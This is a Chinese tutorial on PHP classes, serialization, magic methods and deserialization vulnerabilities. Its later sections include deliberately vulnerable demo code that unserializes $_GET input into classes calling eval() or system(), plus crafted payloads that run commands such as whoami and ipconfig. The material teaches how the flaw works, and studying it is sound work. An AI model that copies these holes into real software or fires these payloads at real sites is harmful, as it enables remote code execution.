一、基础介绍
1 面向过程与面向对象
1.1 面向过程
面向过程(Process Oriented)这个词是在面向对象(Object Oriented)出现之后为与之相对而提出的。其实它在以前基本被叫做“结构化编程”。
面向过程是一种以事件为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数。
1.2 面向对象
是对现实世界的抽象。面向对象是把构成问题事务分解成各个对象,建立对象的目的不是为了完成一个步骤,而是为了描叙某个事物在整个解决问题的步骤中的行为。
在日常生活或编程中,简单的问题可以用面向过程的思路来解决,直接有效,但是当问题的规模变得更大时,用面向过程的思想是远远不够的。所以慢慢就出现了面向对象的编程思想。世界上有很多人和事物,每一个都可以看做一个对象,而每个对象都有自己的属性和行为,对象与对象之间通过方法来交互。面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个对象,建立对象的目的不是为了完成一个步骤,而是为了描叙某个对象在整个解决问题的步骤中的属性和行为。
1.2.1对象的主要三个特性
- 对象的行为:对象可以执行的操作,比如:开灯,关灯就是行为。
- 对象的形态:对对象不同的行为是如何响应的,比如:颜色,尺寸,外型。
- 对象的表示:对象的表示就相当于身份证,具体区分在相同的行为与状态下有什么不同。
比如 Animal(动物) 是一个抽象类,我们可以具体到一只狗跟一只羊,而狗跟羊就是具体的对象,他们有颜色属性,可以写,可以跑等行为状态。
1.2.2 向对象编程的三个主要特性
- 封装(Encapsulation):指将对象的属性和方法封装在一起,使得外部无法直接访问和修改对象的内部状态。通过使用访问控制修饰符(public、private、protected)来限制属性和方法的访问权限,从而实现封装。
- 继承(Inheritance):指可以创建一个新的类,该类继承了父类的属性和方法,并且可以添加自己的属性和方法。通过继承,可以避免重复编写相似的代码,并且可以实现代码的重用。
- 多态(Polymorphism):指可以使用一个父类类型的变量来引用不同子类类型的对象,从而实现对不同对象的统一操作。多态可以使得代码更加灵活,具有更好的可扩展性和可维护性。在 PHP 中,多态可以通过实现接口(interface)和使用抽象类(abstract class)来实现。
1.3 面向对象及过程的区别
1.3.1 面向过程
优点:性能比面向对象高,因为类调用时需要实例化,开销比较大,比较消耗资源;比如单片机、嵌入式开发、 Linux/Unix等一般采用面向过程开发,性能是最重要的因素。
缺点:没有面向对象易维护、易复用、易扩展
1.3.2 面向对象
优点:易维护、易复用、易扩展,由于面向对象有封装、继承、多态性的特性,可以设计出低耦合的系统,使系统 更加灵活、更加易于维护
缺点:性能比面向过程低
2 类和对象
2.1类
一组具有相似特征和行为的对象的抽象描述。它定义了对象所具有的属性(成员变量)和行为(方法),是创建对象的模板或蓝图。类是抽象的,不占用内存空间,它只是对对象的描述。
2.2对象
类的实例化结果,是类的具体实体。它具有类所定义的属性和行为,并且可以在程序中直接使用。对象是具体的,占用内存空间。
类:抽象代码展示 | 对象:抽象代码展示 |
类 汽车: 属性 品牌 属性 型号 属性 颜色 方法 启动(): 输出"汽车启动" 方法 加速(): 输出"汽车加速" 方法 停止(): 输出 "汽车停止" | BMW = 新汽车() BMW.品牌 = "宝马" BMW.型号 = "530" BMW.颜色 = "黑色" BMW.启动() BMW.加速() BMW.停止() |
类:php代码展示 | 对象:php代码展示 |
class car{ //属性 public $品牌; public $型号; public $颜色; //方法 public function 启动(){ echo "汽车启动"; } public function 加速(){ echo "汽车加速"; } public function 停止(){ echo "汽车停止"; echo "<br>"; } | // 创建汽车实例对象 $BMW = new car(); //设置属性 $BMW->品牌 = "宝马"; $BMW->型号 = "530"; $BMW->颜色 = "黑色"; //调用方法 $BMW->启动(); $BMW->加速(); $BMW->停止(); echo $BMW->品牌; |
类的定义 | |
![]() | |
类的结构 | |
![]() | |
类的内容 | |
![]() | |
public是定义property(属性)和method(方法)的可见性的关键字,用public修饰的属性和方法在类的内部和外部都可以访问。var是定义变量的。用var定义的变量如果没有加protected 或 private则默认为public。在php4中类中用var定义的变量必须在定义时或在类的构造函数中进行初始化。 | |
实例化和赋值 | |
![]() | |
class hero{ var $name='ZS'; var $sex; function jineng($var1) { echo $this->name; echo '释放了技能:'.$var1; } } $cyj= new hero(); $cyj->name='chengyaojin'; $cyj->sex='男'; $cyj->jineng('走砍大招'); //print_r($cyj); //echo $cyj->sex; //对象不能直接echo或print输出,可以使用print_r或var_dump() ?> |
2.3 类的继承
2.3.1 概念
类的继承是面向对象编程中的一个核心概念,它允许程序员创建新的类(子类),这些类可以继承现有类(父类)的属性和方法。
在继承关系中,子类能够访问父类的公有成员和保护成员,但不能直接访问父类的私有成员。继承方式通常分为三种:公有继承、私有继承和保护继承。公有继承中,父类的公有成员和保护成员在子类中保持相同的访问权限;私有继承中,父类的成员在子类中变为私有成员;保护继承中,父类的成员在子类中变为保护成员。
继承的好处包括代码复用、提高软件的可维护性和可扩展性。通过继承,可以更容易地修改和重用代码,从而提高开发效率。例如,可以先定义一个“车”类,它包含车的一般属性(如车体大小、颜色等),然后从“车”类派生出“轿车”和“卡车”类,为它们添加特定的属性(如轿车的小后备箱或卡车的大货箱)。
此外,继承还涉及到构造函数的调用和方法覆盖。在子类中,构造方法默认调用父类的构造方法,除非明确指定调用父类的其他构造函数。方法覆盖允许子类重写父类的方法,但在重写时需要保持方法的签名(包括参数和返回值)不变,并且不能缩小父类方法的访问权限。
PHP 使用关键字 extends 来继承一个类,PHP 不支持多继承,格式如下: |
class Child extends Parent { // 代码部分 } //Child子类名 extends继承 Parent父类 |
举例说明,电动汽车属于汽车,一般汽车有的品牌、颜色、型号等都有的属性,也有启动、加速、停止等方法。但是它有自己特殊的地方:能充电,所以我们可以说电动汽车是汽车的子类,并且在子类中有属于自己的属性和方法,当然也具有父类的属性和方法。
创建子类 |
class electriccar extends car{ public $电池容量; public function 充电(){ echo "充电中"; } } |
对电动车实例化,赋予它自己的属性(电池容量)和方法(充电),同时也具备父类的属性和方法。
子类实例 |
$比亚迪电动车=new electriccar(); $比亚迪电动车->电池容量='600kwh'; $比亚迪电动车->品牌='BYD'; echo $比亚迪电动车->电池容量; echo '<br>'; echo $比亚迪电动车->品牌; echo '<br/>'; $比亚迪电动车->启动(); $比亚迪电动车->充电(); |
2.4 访问修饰符
2.4.1概念
在PHP中,面向对象编程(Object-oriented Programming,简称OOP)可以将实体抽象为对象,并定义其属性和方法来描述其行为。然而,有时我们需要限制对对象的访问权限,以保护其内部状态和一些关键方法。为此,PHP提供了访问修饰符来帮助我们实现这一目的。
PHP中常用的访问修饰符有三种:公有(public)、私有(private)和受保护(protected)。不同的访问修饰符定义了对象的属性和方法对外部的可见性和可访问性。下面我们将详细介绍这三种访问修饰符的使用。
2.4.2 三种修饰符
- 公有(public)访问修饰符
公有访问修饰符是最常见的修饰符,它表示对象的属性和方法可以在任何地方被访问和调用。当我们不定义任何访问修饰符时,默认为公有访问修饰符。
一般情况下,我们将类的属性定义为私有或受保护的,而将方法定义为公有的,以便外部代码可以通过方法来访问和操作对象的属性。下面是一个使用公有访问修饰符的示例:
class Person {
public $name;
public function sayHello() {
echo "Hello, my name is ".$this->name;
}
}
$person = new Person();
$person->name = "John";
$person->sayHello(); // 输出 "Hello, my name is John"
上面代码中,我们定义了一个Person类,其中$name属性和sayHello()方法都是公有的。通过将$name设置为公有属性,外部代码可以直接修改和访问该属性的值。而sayHello()方法可以在外部代码中通过实例化对象并调用该方法来打印输出一条问候语。
- 私有(private)访问修饰符
私有访问修饰符表示对象的属性和方法只能在所属的类内部访问和调用,外部代码无法直接访问。为了访问私有属性和方法,我们需要使用类内部定义的公有方法。下面是一个使用私有访问修饰符的示例:
class Person {
private $name;
public function setName($name) {
$this->name = $name;
}
public function sayHello() {
echo "Hello, my name is ".$this->name;
}
}
$person = new Person();
$person->setName("John");
$person->sayHello(); // 输出 "Hello, my name is John"
在上面的代码中,$name属性被定义为私有的,外部代码无法直接访问。为了对该属性赋值,我们定义了一个公有的setName($name)方法,并在其中通过方法内部访问私有属性来设置其值。同样,sayHello()方法可以在外部代码中通过实例化对象并调用该方法来打印输出问候语。
- 受保护(protected)访问修饰符
受保护访问修饰符表示对象的属性和方法只能在所属的类及其子类中访问和调用,外部代码无法直接访问。和私有访问修饰符类似,为了访问受保护的属性和方法,我们也需要使用类内部定义的公有方法。下面是一个使用受保护访问修饰符的示例:
class Person {
protected $name;
public function setName($name) {
$this->name = $name;
}
public function sayHello() {
echo "Hello, my name is ".$this->name;
}
}
class Student extends Person {
public function study() {
echo $this->name." is studying.";
}
}
$student = new Student();
$student->setName("John");
$student->sayHello(); // 输出 "Hello, my name is John"
$student->study(); // 输出 "John is studying."
上面的代码中,Person类的$name属性被定义为受保护的,而Student类继承了Person类。在Student类内部,我们可以直接访问和调用继承自Person类的受保护属性和方法。在外部代码中,我们通过实例化Student对象并调用其定义的公有方法来访问和调用受保护的属性和方法。
通过使用访问修饰符,我们可以更好地控制对象的访问权限,避免一些不合理的访问和操作。在实际开发中,我们应该根据需求和设计原则合理选择和使用访问修饰符。
可访问性 | Public(公有的) | Private(私有的) | Protected(受保护的) |
类自身 | √ | √ | √ |
类外部 | √ | × | × |
子类 | √ | × | √ |
演示:
<?php class people{ public $name='学生'; protected $sex ='body'; private $age = '20'; function speak(){ echo '在类自身调用:'.$this->name; //在类自身访问自身属性,使用.$this调用,如果没有.$this,则会认为是一个变量。在这儿没定义。 echo '在类自身调用:'.$this->sex; echo '在类自身调用:'.$this->age; } } /* $zhangsan= new people(); echo '在类外调用:'.$zhangsan->name; //echo '在类外调用:'.$zhangsan->sex; //在类外部无法调用 //echo '在类外调用:'.$zhangsan->age; //在类外部无法调用 $zhangsan->speak(); //类内部访问 */ //定义一个子类,并实例化一个对象,xiaoming class goodstudent extends people{ function speak1() { echo '在子类调用:' .$this->name; echo '在子类调用:' .$this->sex; echo '在子类调用:' .$this->age; } } $xiaoming= new goodstudent(); $xiaoming->speak1(); ?> |
![]() |
![]() |
![]() |
二、序列化和反序列化
1 什么是序列化和反序列化
- 序列化(serialize) 是指将数据结构或对象转换为一串字节流的过程。使其可以在存储、传输或者缓存时进行持久化。
序列化数据使以下操作更简单:
1)将复杂数据写入进程间内存、文件或数据库。
2)有效的实现多平台之间的通信、对象持久化存储。
3)在应用程序的不同组件之间通过网络或者API调用发送复杂数据。
- 反序列化(unserialize) 是指序列化后的数据进行解码和还原,恢复为原始数据结构或对象的过程。
在PHP中,使用serialize()函数可以将数据结构或对象进行序列化,得到一个表示序列化后数据的字符串。通过unserialize()函数将这个字符串进行反序列化,将其还原为原始的数据结构或对象。
1.1 对象序列化
//简单对象的序列化与反序列化
class people{
public $name='学生';
private $age=18;
protected $height='170cm';
public function speak(){
echo 'hello';
}
}
$zhangsan=new people();
$a=serialize($zhangsan);
echo $a;
echo '<br/>';
echo urlencode($a);
echo '<br/>';
print_r(unserialize($a));
序列化之后,结果如下:
O:6:"people":3:{s:4:"name";s:6:"学生";s:11:"peopleage";i:18;s:9:"*height";s:5:"170cm";}
"%00*%00height"------>%22%00%2A%00height%22%
O:长度:“类名”:属性数:{变量类型:变量名长度:“变量名字”;变量的值;} |
O 表示对象类型(0bject) |
i 表示整数类型(integer) |
d 表示浮点数类型(double) |
a 表示数组类型(array) |
b 表示布尔类型(boolean) |
N 表示NULL类型(null) |
s 表示字符类型(string) |
解释如下:
O:6:"people" | 具有6个字符的类名称的对象 |
3 | 对象具有三个属性 |
s:4:"name" | 第一个属性的键是4个字符的字符串”name” |
s:6:"学生" | 第一个属性的值是6个字符的字符串”学生” |
s:11:"peopleage" | 第二个属性是11个字符的字符串”peopleage” |
i:18 | 第二个属性是int型的值18 |
s:9:"*height" | 第三个属性的键是9个字符的字符串"*height" |
s:5:"170cm" | 第三个属性的值是5个字符的字符串"170cm" |
private属性序列化 | private属性序列化属性名称格式是0x00类名0x00成员名,%00 |
Protect属性序列化 | Protect属性序列化属性名称格式是0x000x2A0x00成员名 %00*%00 |
1.2 数组序列化
普通数组序列化 | 关连数组序列化 |
$arr=array('zhangsan','body'); $arr[8]=20; echo serialize($arr); | $people=array( 'name'=>'zhangsan', 'age'=>20, 'city'=>'chengdu' ); echo serialize($people); |
a:3:{i:0;s:8:"zhangsan";i:1;s:4:"body";i:8;i:20;} | a:3:{s:4:"name";s:8:"zhangsan";s:3:"age";i:20;s:4:"city";s:7:"chengdu";} |
1.3 反序列化
反序列化 | ||
class people{ public $name='学生'; private $age=18; protected $height='170cm'; public function speak(){ echo 'hello'; } } $zhangsan=new people(); $a=serialize($zhangsan); echo $a; echo '<br/>'; print_r(unserialize($a)); echo '<br/>'; var_dump(unserialize($a)); | O:6:"people":3:{s:4:"name";s:6:"学生";s:11:"peopleage";i:18;s:9:"*height";s:5:"170cm";} people Object ( [name] => 学生 [age:private] => 18 [height:protected] => 170cm ) object(people)#2 (3) { ["name"]=> string(6) "学生" ["age:private"]=> int(18) ["height:protected"]=> string(5) "170cm" } #2:php的对象标识符,表示该对象在PHP程序执行期间的唯一标识符。每创建一个新的对象时,PHP会自动为该对象分配一个唯一的标识符,以便在程序中引用和识别该对象。它的值本身没有特殊意义,只是为了唯一标识一个对象而存在。 | |
反序列化之后的内容为一个对象,反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关。如下: | ||
class test { public $a = 'benben'; protected $b = 666; private $c = false; public function displayVar() { echo $this->a; } } $d = new test(); //O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;} $d='O:4:"test":3:{s:1:"a";s:6:"nihaoa";s:4:"%00*b%00";i:666;s:7:"%00test%00c";b:0;}'; $d = serialize($d); echo $d."<br />"; echo urlencode($d)."<br />"; $a = urlencode($d); $b = unserialize(urldecode($a)); var_dump($b); | ||
反序列化不触发类的成员方法;需要调用方法后才能触发。 | ||
class test { public $a = 'benben'; protected $b = 666; private $c = false; public function displayVar() { echo $this->a; } } //$d = new test(); $d='O:4:"test":3:{s:1:"a";s:6:"nihaoa";s:4:"%00*b%00";i:666;s:7:"%00test%00c";b:0;}'; /* $d = serialize($d); echo $d."<br />"; echo urlencode($d)."<br />"; $a = urlencode($d); $b = unserialize(urldecode($a)); */ //$e=urldecode($d); $e=urldecode($d); var_dump($e); $f=unserialize($e); $f->displayVar(); //调用类成员方法,才能触发 $this->a //var_dump($b); |
1.4 print_r和var_dump的区别
1.4.1 print_r()函数
该函数能打印出复杂类型变量的值。利用print_r()可以打印出整个数组内容及结构,按照一定格式显示键和元素。事实上,它不仅仅用于打印,而是用于打印关于变量的易于理解的信息。
例如:打印数组$age
<?php $age=array(18,20,24); print_r($age); ?> //运行结果:Array ( [0] => 18 [1] => 20 [2] => 24 ) |
1.4.2 var_dump()函数
该函数判断一个变量的类型与长度,并输出变量的数值,如果变量有值,输出的是变量的值,并返回数据类型。
此函数显示关于一个或多个表达式的结构信息,包括表达式的类型和值。数组将递归展开值,通过缩进显示其结构。
例如:
<?php $age=array(18,20,24); var_dump($age); ?> //运行结果:array(3) { [0]=> int(18) [1]=> int(20) [2]=> int(24) } |
三、反序列化漏洞
1 漏洞原理
- 序列化与反序列化:序列化是将对象转换为字节流的过程,以便可以将其保存到文件、数据库或通过网络传输。反序列化是将这些字节流重新构造成原始对象的过程。
- 反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控,通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。
其实在序列化的过程中是没有任何的漏洞的,产生漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。
- 反序列化漏洞的利用:由于反序列化时unserialize()函数会自动调用wakeup(),destruct()等函数,当有一些漏洞或者恶意代码在这些函数中,当我们控制序列化的字符串时会去触发他们,从而达到攻击。例如:某网站内正常页面使用logfile.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 ,然后重构对象。
1.1成因
信任外部输入:应用程序盲目信任外部输入的数据进行反序列化。
缺乏输入验证:缺乏对反序列化数据的严格验证和清洁化。
使用不安全的库或方法:使用存在已知漏洞的序列化/反序列化库。
1.2危害
远程代码执行:攻击者可能执行任意代码,控制受影响的系统。
数据泄露:访问或修改应用程序数据,导致信息泄露。
拒绝服务攻击:通过构造特殊的对象导致应用崩溃,造成服务不可用。
1.3 攻击方式
构造恶意输入:利用应用程序的反序列化功能,发送经过精心构造的恶意数据。
利用已知漏洞:针对特定框架或库的已知反序列化漏洞进行攻击。
- 用户可控制的数据被网站脚本反序列化,这可能使攻击者能够操纵序列化对象,以便将有害数据传递到应用程序代码中。
- 渗透攻击者可以用完全不同类的对象替换序列化对象,而且,网站可用的任何类的对象都将被反序列化和实例化,而不管预期的是哪个类。
Serialized object: 这可能是一个恶意构造的序列化对象,它包含了攻击者的代码或命令。
Deserializing: 这是反序列化的过程,其中服务器接收到序列化的对象并尝试将其转换回原始的对象格式。
wakeup(): 这可能是一个关键的函数调用,在某些情况下,wakeup() 函数可能用于触发某些事件或行为。
O:5:"Order":3:{s:7:"product" :9:"bad-stuff"... }: 这部分看起来像是一个序列化对象的字符串表示,其中包含了一些键值对,可能是攻击载荷的一部分。
system() exec(): 这些是Unix/Linux系统上的命令执行函数,如果反序列化过程中执行了这些函数,可能会导致系统命令的执行。
popen() shell_exec(): 这些也是用于执行系统命令的函数。
1.2 反序列化漏洞认识
<?php highlight_file(__FILE__); //是一个 PHP 语言中的函数调用,其作用是将当前文件的代码以语法高亮的形式输出到浏览器。 class User{ public $username = 'zhangsan'; public $isadmin = 0; } $zhangsan=new User(); echo serialize($zhangsan); //O:4:"User":2:{s:8:"username";s:8:"zhangsan";s:7:"isadmin";i:0;} $userData = $_GET['Data']; //构造payload O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isadmin";i:1;} $user = unserialize($userData); if($user->isadmin == 1 && $user->username == 'admin'){ echo '欢迎你,管理员!'; } else { echo "你是普通用户!"; } ?> | |
构造payload O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isadmin";i:1;} | |
a.php?Data=O:4:%22User%22:2:{s:8:%22username%22;s:5:%22admin%22;s:7:%22isadmin%22;i:1;} |
以上案例说明,反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;
反序列化不改变类的成员方法;需要调用方法才能触发,通过调用方法,触发代码执行。
反序列漏洞实例演示: |
highlight_file(__FILE__); error_reporting(0);//屏蔽警告信息 class test{ public $a = 'echo "this is test!!";'; public function displayVar() { eval($this->a); } } $c=new test(); $c->displayVar(); //$get = $_GET["benben"]; //$b = unserialize($get); //$b->displayVar() ; |
输出结果为this is test!! |
<?php highlight_file(__FILE__); error_reporting(0); class test{ public $a = 'echo "this is test!!";';// echo "this is test!!"; -- system(‘dir’); public function displayVar() { eval($this->a); } } $c=new test(); $c->displayVar(); echo '<br>'; echo serialize($c); $get = $_GET["benben"]; //benben的值为对象序列化后的字符串,benben为可控字符串 $b = unserialize($get); //$b把字符串$get反序列化为对象,通过更改字符串可改变对象中$a的值 var_dump($b); $b->displayVar() ; //通过调用方法触发可控代码 //构造payload,让反序列化的值$a = 'echo "this is test!!";' 重赋值为system("ipconfig") //benben赋值为O:4:"test":1:{s:1:"a";s:19:"system("ipconfig");";} ?> |
构造payload:index.php?benben=O:4:"test":1:{s:1:"a";s:17:"system("whoami");";} |
2 魔术方法
2.1 概念
PHP的魔术方法(Magic Methods) 是一组特殊的方法,以双下滑线(__)开头和结束命名。
它们在对象的生命周期中被自动调用,用于执行特定的操作。这些魔术方法可以让开发者更好地控制和定制对象的行为。
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。
2.1.1 魔法方法的作用
反序列化漏洞形成原因:反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用方法,触发代码执行。
2.1.2 魔术方法相关机制
2.2 十六个魔术方法
序号 | 魔术方法 | 函数作用 |
1 | __wakeup() | unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作 |
2 | __construct() | 类的构造函数,创建对象时自动调用 |
3 | __destruct() | 类的析构函数,在对象被销毁(失去对对象的所有引用)之前执行一些清理操作 |
4 | __toString() | 用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误 |
5 | __sleep() | 执行serialize()之前,先会调用这个函数 |
6 | __call() | 在对象上下文中调用不可访问的方法时触发 |
7 | __callStatic() | 调用一个不可访问或不存在的静态方法时触发 |
8 | __get() | 访问一个对象的不可访问或不存在属性时触发 |
9 | __set() | 对不可访问属性进行赋值时调用 |
10 | __isset() | 在不可访问的属性上调用isset()或empty()触发 |
11 | __unset() | 在不可访问的属性上使用unset()时触发 |
12 | __invoke() | 用于将一个对象作为函数直接调用时的行为定义 |
13 | __set_state() | 设置对var_export()函数所产生的字符串的进行反序列化操作时行为。 |
14 | __clone() | 当clone关键字复制一个对象时调用 |
15 | __autoload() | 尝试加载未定义的类 |
16 | __debugInfo() | 打印所需调试信息 |
2.3 魔术方法介绍
__construct()
函数作用 | 在对象创建后对其进行初始化操作,如初始化属性、建立与数据库的连接、加载必要的资源等 |
调用时机 | 构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法 |
传递参数 | 根据实际需求来定义 |
返回值 | 无要求 |
演示 | class people{ public $name; function __construct($name){ $this->name=$name; echo "触发了构造函数1次"; } } $zhangsan = new people('zhangsan');//实例化对象时触发构造函数__construct() $ser=serialize($zhangsan); Unserialize($ser); //print_r($zhangsan); |
漏洞演示 | class User { var $cmd = "echo 张三!';" ; public function __destruct() { eval($this->cmd); } } $a = new User(); $ser = $_GET["benben"]; unserialize($ser); |
Payload | benben=O:4:"User":1:{s:3:"cmd";s:18:"system('whoami')';";} |
__destruct()
函数作用 | 在对象生命周期结束之前执行一些必要的清理操作,如释放资源、关闭数据库连接、报错对象状态等。 |
调用时机 | 析构函数,对象被销毁时自动执行的魔术方法(php垃圾回收机制;脚本结束自动销毁对象) |
传递参数 | 不可设置 |
返回值 | 无 |
演示 | class people{ public $name; function __destruct() { echo '对象被销毁!'; echo'<br/>'; } } $zs=new people(); //实例化对象结束后,代码会自动销毁,触发析构函数 unserialize(serialize($zs)); //反序列化也是实列化一个对象,销毁也会触发 |
漏洞利用演示 | highlight_file(__FILE__); error_reporting(0); class User { var $cmd = "echo 'dazhuang666!!';" ; public function __destruct() //第二步:destruct执行eval()函数 { eval($this->cmd); //第三步:eval()触发代码 echo $this->cmd; } } //$a = new User(); //echo serialize($a); $ser = $_GET["benben"]; unserialize($ser); //第一步:unserialize()触发__destruct()方法 |
Payload:benben=O:4:"User":1:{s:3:"cmd";s:18:"system('whoami')';";} |
__call()
函数作用 | 处理对象中不存在的方法的调用 |
调用时机 | 调用一个不存在或不可访问的方法时触发 |
传递参数 | $method:被调用的方法名(字符串类型) $arguments:传递给该方法的参数列表(数组类型) |
返回值 | 自由定义返回值 |
演示 | class people{ public $name; public function __call($method,$arguments) { echo '不存在方法:'.$method; echo '<br/>'; echo implode(';',$arguments).'的参数无效'; //implode()函数用于返回一个由数组元素组合成的字符串 } } $zs=new people(); $zs->speak('我是张三','今年20岁'); |
__callStatic()
函数作用 | 在调用一个不存在的静态方法时提供一个统一的处理逻辑使其不会导致错误。 |
调用时机 | 调用一个不存在或不可访问的静态方法时触发 |
传递参数 | $method:被调用的静态方法名(字符串类型) $arguments:传递给该方法的参数列表(数组类型) |
返回值 | 自定义返回值 |
演示 | class people{ public $name; private function __callStatic($method,$arguments) { echo "不存在静态方法:$method"; echo '<br/>'; echo implode(';',$arguments).'的参数无效'; //implode()函数用于返回一个由数组元素组合成的字符串 } private static function speak(){ echo 'hello'; // 也无法调用 } } $zs=new people(); $zs::speak('我是张三','今年20岁'); //“syntax error, unexpected T_PAAMAYIM_NEKUDOTAYIM”错误,当php版本低于5.3时就会报错,低版本php不支持变量做类的静态函数名. |
__get()方法
函数作用 | 在访问一个对象的不存在或不可访问的属性时提供一个统一的处理逻辑使其不会导致错误 |
调用时机 | 调用对象的成员属性不存在或不可访问时 |
传递参数 | $name: 被访问的属性的名称 |
返回值 | 自由定义返回值 |
演示 | class people{ public $name; public $age; //private $age; function __get($name) { echo "$name 属性不可访问或者不存在<br/>"; } } $zs=new people(); $zs->age; $zs->height; |
__set()方法
函数作用 | 在设置一个对象的不存在或不可设置的属性时提供一个统一处理的处理逻辑使其不会导致错误 |
调用时机 | 给不存在或不可设置的成员属性赋值时触发 |
传递参数 | $name:属性名称 $value:设置的属性值 |
返回值 | 不存在的成员属性的名称和属性值 |
演示 | class people{ public $name; private $age; function __set($name,$value) { echo "$name 属性不可设置,所以 '$value'值无效<br/>"; } } $zs =new people(); $zs->height='170'; $zs->age=20; |
__isset()方法
函数作用 | 检查一个对象的不存在或不可访问的属性时提供统一的处理逻辑使其不会导致错误 |
调用时机 | 对不存在或不可设置属性时使用isset()或empty()时,__inset()被触发。 |
传递参数 | $name:属性名称 |
返回值 | 返回一个布尔值(true/false) |
演示 | class people{ public $name='zs'; public $age; public function __isset($name){ echo "<br/>$name 不存在或无法访问所以没有设置"; } } $zs=new people(); var_dump(isset($zs->name)); //isset()函数检查$zs对象的属性是否有name值,var_dump()输出ture或false isset($zs->height); empty($zs->height); //检查$zs这个对象的属性是否为空 |
__unset()方法
函数作用 | 销毁对象中未定义的属性时执行自定义的操作 |
调用时机 | Unset()函数尝试删除对象的不存在或不可访问属性时自动触发 |
传递参数 | $name:被销毁属性名称 |
返回值 | 无 |
演示 | class people{ public $name='zs'; private $age=20; public function __unset($name){ echo "无法销毁或不存在的属性: $name <br/>"; } } $zs=new people(); unset ($zs->age); unset($zs->height); |
__sleep()魔术方法
函数作用 | 用于指定哪些对象属性需要在序列化时被保存(假如10个属性,有5个需要保存在序列化里) 解释:序列化serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会先被调用,然后才执行序列化操作。此功能可用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。 |
调用时机 | 在对象被序列化serialize()之前 |
传递参数 | 无 |
返回值 | 返回需要被序列化的属性名的数组 |
演示 | class people{ public $name='zs'; public $age=20; public function __sleep() { return['name']; //返回name数组, 类里面需要保存的属性 } } $lisi = new people(); echo serialize($lisi); //在此序列化之前触发__sleep() |
演示分析 | class User { const SITE = 'uusama'; public $username; public $nickname; private $password; public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; } public function __sleep() { return array('username', 'nickname'); } } $user = new User('a', 'b', 'c'); echo serialize($user); |
漏洞利用演示 | class User { const SITE = 'uusama'; public $username; public $nickname; private $password; public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; } public function __sleep() { system($this->username); } } $cmd = $_GET['benben']; $user = new User($cmd, 'b', 'c'); echo serialize($user); |
payload | x.php?benben=ipconfig |
__wakeup()魔术方法
函数作用 | 指定在对象反序列化之前触发 Unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。 |
调用时机 | 反序列化Unserialize()之前 |
传递参数 | 无 |
返回值 | 无 |
演示讲解 | class people{ public $name='zs'; public $age=20; public function __wakeup() { $this->age=22; } } $lisi=new people(); $a=serialize($lisi); echo $a; echo '<br/>'; print_r(unserialize($a)); // 反序列化之前触发wakeup(),给age赋值为22 |
漏洞演示 | class User { const SITE = 'uusama'; public $username; public $nickname; private $password; private $order; public function __wakeup() { system($this->username); } } //$a = new User(); //echo serialize($a); //构造payload O:4:"User":1:{s:8:"username";s:8:"ipconfig";} $user_ser = $_GET['benben']; unserialize($user_ser); |
Payload | O:4:"User":1:{s:8:"username";s:8:"ipconfig";} |
__toString()魔术方法
函数作用 | 指定在对象被当作字符串调用时触发。表达式错误导致魔术方法触发。常用于构造POP链接。 |
调用时机 | 对象被隐式地转换为字符串时自动触发 |
传递参数 | 不接受传递参数 |
返回值 | 必须返回一个字符串 |
演示 | class people{ public $name='zs'; public $age = 20; public function __toString() { return "格式不对,输出不了"; } } $lisi=new people(); print_r($lisi); //print_r正常输出对象的值, echo $lisi; //当把对象当成字符串调用输出 ,则触发toString() |
__invoke()魔术方法
函数作用 | 把对象当作函数调用时触发。格式表达错误导致魔术方法触发 |
调用时机 | 对象被当作函数调用时自动触发 |
传递参数 | 任意参数 |
返回值 | 任何类型 |
演示 | class people{ public $name='zs'; public $age; public function __invoke(){ echo '它不是一个函数'; } } $lisi=new people(); echo $lisi ->name; //对象当成字符串正常执行 echo '<br>'; echo $lisi() ->name; //对象当成函数调用时触发invoke() |
function hello(){ // 创建一个函数(方法) echo "这是一个函数"; echo '<br>'; } echo hello(); //正常可以调用 class people{ public $name='zs'; public $age; public function __invoke(){ echo '它不是一个函数'; } } $lisi=new people(); echo $lisi->name; //对象当成字符串正常执行 echo '<br>'; echo $lisi()-name; //对象当成函数调用时触发invoke() |
__set_state()
函数作用 | 此魔术方法用于指定对象从字符串形式恢复为PHP代码时的行为。它被用于var_export()函数所产生的字符串输出的反序列化操作。 |
调用时机 | Eval()函数将对象字符串转化为原始对象后 |
传递参数 | $data:对象的属性数组 |
返回值 | 最好返回一个对象的实例 |
演示 | class people{ public $name='zs'; public $age=20; public function __set_state($data){ echo "<br/>__set_state被调用"; print_r($data); echo'<br/>'; $lisi= new people(); return $lisi; } } $lisi = new people(); $b = var_export($lisi,true); //将对象串转换为字符串 echo $b; @eval('$c = '. $b . ';'); //将导出的字符串转换对象 ,@屏蔽错误信息 echo $c->name; |
__clone()
